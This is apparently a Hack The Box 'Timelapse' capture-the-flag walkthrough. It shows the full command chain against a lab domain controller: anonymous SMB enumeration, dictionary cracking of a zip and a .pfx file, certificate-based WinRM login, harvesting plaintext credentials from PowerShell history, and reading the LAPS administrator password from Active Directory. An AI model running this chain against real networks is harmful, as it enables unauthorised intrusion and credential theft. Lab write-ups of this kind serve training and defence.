HTB: Timelapse| Walkthrough
TL;DR
- Enumerated a null-session SMB share containing a password-protected
winrm_backup.zip, cracked the zip revealing a.pfxcertificate file. - Cracked the
.pfxpassword , extracted the private key/cert, and used them for certificate-based WinRM authentication. - Found plaintext credentials in PowerShell command history, granting access to the
LAPS_Readersgroup. - Abused
LAPS_Readersmembership to read the DC’s local Administrator password directly from AD (ms-Mcs-AdmPwd) viaGet-ADComputer.
Enumeration
A quick Nmap scan reveals following services running on the target machine.
PORT STATE SERVICE53/tcp open domain88/tcp open kerberos-sec135/tcp open msrpc139/tcp open netbios-ssn389/tcp open ldap445/tcp open microsoft-ds9389/tcp open adws49674/tcp open unknown50345/tcp open unknownSMB
Enumerate SMB shares using Null session.
$ smbclient -L //10.129.87.216/ -N
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Shares Disk SYSVOL Disk Logon server shareCheck out the share named Shares
$ smbclient //10.129.87.216/Shares
smb: \> ls Dev D 0 Mon Oct 25 20:40:06 2021 HelpDesk D 0 Mon Oct 25 16:48:42 2021
smb: \Dev\> ls winrm_backup.zip A 2611 Mon Oct 25 16:46:42 2021The zip file is encrypted, try cracking it using fcrackzip.
fcrackzip -D -u winrm_backup.zip -p rockyou.txtCheck out the content of the zip file.
$ unzip winrm_backup.zip
Archive: winrm_backup.zip[winrm_backup.zip] legacyy_dev_auth.pfx password: inflating: legacyy_dev_auth.pfxIt contains a .pfx file.
Initial Access
Try cracking the pfx file so we can extract the certificate and private key.
$ crackpkcs12 -d rockyou.txt legacyy_dev_auth.pfxDictionary attack - Thread 4 - Password found: thuglegacyExtract certificate and private key
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
-----BEGIN PRIVATE KEY-----MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClVgejYhZHHuLzTSOtYXHOi56zSocr9om854YDu/6qHBa4Nf8xFP6INNBNl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j0c0t5SsvS0tvvJAPVpNejjc381kdN71xBGcDi5ED2hVj/hBikCz2qYmR3eFYSTrRpo15HgC5NFjV0rrzyluZRAoGAL7s3QF9Plt0jhdFpixr4aZpPvgsF3Ie9VOveiZAMh4Q2Ia+q1C6pCSYk0WaEyQKDa4b06jqZi0B6S71un5vqXAkCEYy9kf8AqAcMl0qEQSIJSaOvc8LfBMBiIe54N1fXnOeK/ww4ZFfKfQd7oLxqcRADvp1st2yhR7OhrN1pfl8CgYEAsJNjb8LdoSZKJZc0/F/rc2gFFK+MMnFncM752xpEtbUrtEULAKkhVMh6mAywIUWaYvpmbHDMPDIGqV7at2+XTTu+fiiJkAr+eTa/Sg3qLEOYgU0cSgWuZI0im3abbDtGlRt2Wga0/Igw9Ewzupc8A5ZZvI+GsHhm0Oab7PEWlRY=-----END PRIVATE KEY-----
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
-----BEGIN CERTIFICATE-----MIIDJjCCAg6gAwIBAgIQHZmJKYrPEbtBk6HP9E4S3zANBgkqhkiG9w0BAQsFADASMRAwDgYDVQQDDAdMZWdhY3l5MB4XDTIxMTAyNTE0MDU1MloXDTMxMTAyNTE0MTU1MlowEjEQMA4GA1UEAwwHTGVnYWN5eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKVWB6NiFkce4vNNI61hcc6LnrNKhyv2ibznhgO7/qocFrg1/zEU/og00E2Vha8DEK8ozxpCwem/e2inClD5htFkO7U3HKG9801NFeN0VBX2ciIqSjA63qAbYX707mBUXg8Ccc+b5hg/CxuhGRhXxA6nMiLo0xmAMImuAhJZmZQepOHJsVb/s86Z7WCzq2I3VcWg+7XM05hogvd21lprNdwvDoilMlE8kBYa22rIWiaZismoLMJJpa72MbSnWEoruaTrC8FJHxB8dbapf341ssp6AK37+MBrq7ZX2W74rcwLY1pLM6giLkcsyOeu6NGgLHe/plcvQo8IXMMwSosUkfECAwEAAaN4MHYwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMCMDAGA1UdEQQpMCegJQYKKwYBBAGCNxQCA6AXDBVsZWdhY3l5QHRpbWVsYXBzZS5odGIwHQYDVR0OBBYEFMzZDuSvIJ6wdSv9gZYerC2xJVgZMA0GCSqGSIb3DQEBCwUAA4IBAQBfjvt2v94+/pb92nLIS4rna7CIKrqam966H8kF6t7pHZPlEDZMr17u50kvTN1D4PtlCud9SaPsokSbKNoFgX1KNX5m72F03KCLImh1z4ltxsc6JgOgncCqdFfX3t0Ey3R7KGx6reLtvU4FZ+nhvlXTeJ/PAXc/fwa2rfiPsfV51WTOYEzcgpngdHJtBqmuNw3tnEKmgMqp65KYzpKTvvM1JjhI5txGhqbdWbn2lS4wjGy3YGRZw6oM667GF13Vq2X3WHZK5NaP+5Kawd/J+Ms6riY0PDbhnx143vIioHYMiGCnKsHdWiMrG2UWLOoeUrlUmpr069kY/nn7+zSEa2pA-----END CERTIFICATE-----Use the extracted key and certificate to winrm into the target machine.
$ evil-winrm -S -k legacy.key -c legacy.cert -i 10.129.87.216Privilege Exploitation
Check powershell History
*Evil-WinRM* PS > cat C:\Users\legacyy\Appdata\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtwhoamiipconfig /allnetstat -ano |select-string LIST$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}get-aduser -filter * -properties *exitReuse command for Ps-Remoting using the plaintext credentials exposed in the history.
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
PS > invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}timelapse\svc_deploywe can now execute command as svc_deploy
PS > invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {net user svc_deploy}
User name svc_deployFull Name svc_deployCommentUser's commentCountry/region code 000 (System Default)Account active YesAccount expires Never
Password last set 10/25/2021 12:12:37 PMPassword expires NeverPassword changeable 10/26/2021 12:12:37 PMPassword required YesUser may change password Yes
Workstations allowed AllLogon scriptUser profileHome directoryLast logon 6/7/2022 8:50:03 AM
Logon hours allowed All
Local Group Memberships *Remote Management UseGlobal Group memberships *LAPS_Readers *Domain UsersThe command completed successfully.User svc_deploy is in LAPS_Readers Group. Since, LAPS stores the local Administrator password, it can be extracted by quering ms-Mcs-AdmPwd via Get-ADComputer
invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime}
PSComputerName : localhostRunspaceId : 731dc7e9-db26-4226-9484-03858f466ea3DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htbDNSHostName : dc01.timelapse.htbEnabled : Truems-Mcs-AdmPwd : %{}[REDACTED]IOms-Mcs-AdmPwdExpirationTime : 132995120268239704Name : DC01ObjectClass : computerObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98fSamAccountName : DC01$SID : S-1-5-21-671920749-559770252-3318990721-1000UserPrincipalName :Win-RM into the target machine as an Administrator using the extracted credentials.
evil-winrm -u 'Administrator' -p '%{}[REDACTED]IO' -i 10.129.87.216 -S
PS C:\Users> whoamitimelapse\administrator